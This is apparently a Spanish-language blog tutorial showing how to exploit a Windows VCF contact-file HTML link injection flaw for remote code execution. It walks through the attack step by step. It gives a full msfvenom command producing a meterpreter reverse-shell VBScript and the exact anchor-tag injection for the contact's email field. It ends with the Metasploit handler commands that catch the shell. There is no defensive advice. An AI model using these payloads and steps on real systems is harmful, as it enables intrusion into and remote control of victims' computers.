Después del exploit 0 day del archivo VCF malicioso en Windows (ver aquí), investigador de seguridad cibernética John Page (aka hyp3rlinx) merece otra ronda de aplausos por traer esta vulnerabilidad al exploit-db el 23 de enero 2019.
Esta vulnerabilidad se aprovecha aún más de la vulnerabilidad RCE presente en VCF con inyecciones HTML.
Tipo Vulnerabilidad:
1. Introducción a la ejecución remota de código
La idea aquí es incluir un archivo VBScript malicioso en la sección de correo electrónico del archivo VCF para ejecutar un script localmente en lugar de abrir el correo electrónico por mailto. Utilizaremos la etiqueta anchor (<a>) de HTML para lograr la tarea mencionada.
Esta vulnerabilidad está clasificada por John como “Mailto: HTML Link Injection Remote Code Execution”. Para leer más sobre el descubrimiento y el origen, sigue este enlace.
Metodología:
- Haciendo una carga útil (payload) de msfvenom de un formato .vbs.
- Enviar el archivo VBS a la víctima.
- Crear un archivo VCF en la carpeta padre.
- Colocar un correo electrónico en el contacto con parámetros de inyección HTML.
- Ejecutar multi/handler en una ventana separada.
- Abrir el correo electrónico en el archivo VCF.
- Reproducir meterpreter.
Así que, sin más preámbulos, vamos a intentar atacar una PC con Windows.
2. Prueba de concepto
El primer paso sería hacer una carga útil con una extensión .vbs. Para este propósito, estamos utilizando la payload de Windows de msfvenom, pero cualquier otra payload debería funcionar bien.
En mi caso, la dirección IP local es 192.168.1.60:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.60 lport=1234 -f vbs > shell.vbs
Una vez que se realiza la payload, transfiere el archivo .vbs a la PC de la víctima. Para este ejemplo:
- Carpeta: geek, contiene el archivo VBS
- Archivo de contacto: alexynior, fuera de la carpeta geek
El siguiente y el paso más importante es hacer un archivo VCF de contacto. También puedes descargar un VCF de ejemplo y agregar un sitio web, pero crearé un nuevo archivo de contacto. El sistema que utilizaré es Windows 10, por lo que la versión del archivo VCF puede diferir de la tuya, pero funcionaría igual. Una vez que se crea el archivo de contacto, debajo de la pestaña de correo electrónico, agrega la siguiente inyección HTML:
<a href="geek\shell.vbs">alexynior@gmail.com</a>
Tenga en cuenta que el nombre de la carpeta principal es “geek” y que el archivo VBS malicioso es “shell.vbs“.
Ahora tendrás que agregar esta dirección de correo electrónico haciendo clic en el botón Agregar. Como puedes ver, se vería algo así:
Una vez que se agrega la dirección de correo electrónico, tendrás que guardar el archivo de contacto. El archivo VCF final se verá algo así:
Mediante la etiqueta de inyección HTML mencionada anteriormente, estamos solicitando una inclusión local en lugar de un mensaje de correo electrónico. Esto ejecutará el código malicioso y, por lo tanto, en teoría, generaría una sesión meterpreter.
Entonces, tan pronto como agreguemos el correo en el archivo VCF, Windows te preguntará si deseas “La dirección de correo electrónico que ha especificado no es una dirección de Internet válida. ¿Desea agregar esta dirección de todos modos?” Haz clic en Sí.
Cuando haces clic en el correo en el archivo VCF procesado, probablemente se haya abierto una nueva sesión de meterpreter.
msfconsole
use exploit/multi/handler
set lhost 192.168.1.60
set lport 1234
set payload windows/meterpreter/reverse_tcp
exploit
- Una variante al archivo de contacto: Explotación Windows usando archivo de contacto VCF (Sitio Web)
3. Conclusión
Esta es una sorprendente vulnerabilidad descubierta por John Page y afecta a todas las versiones de trabajo de Windows que admiten archivos VCF de contacto. Como puedes ver, hemos generado un shell de Windows 10 aquí, es seguro decir que las versiones por debajo del Windows 10 también se vean afectadas. ¡No olvides compartirlo en tus redes sociales! :’)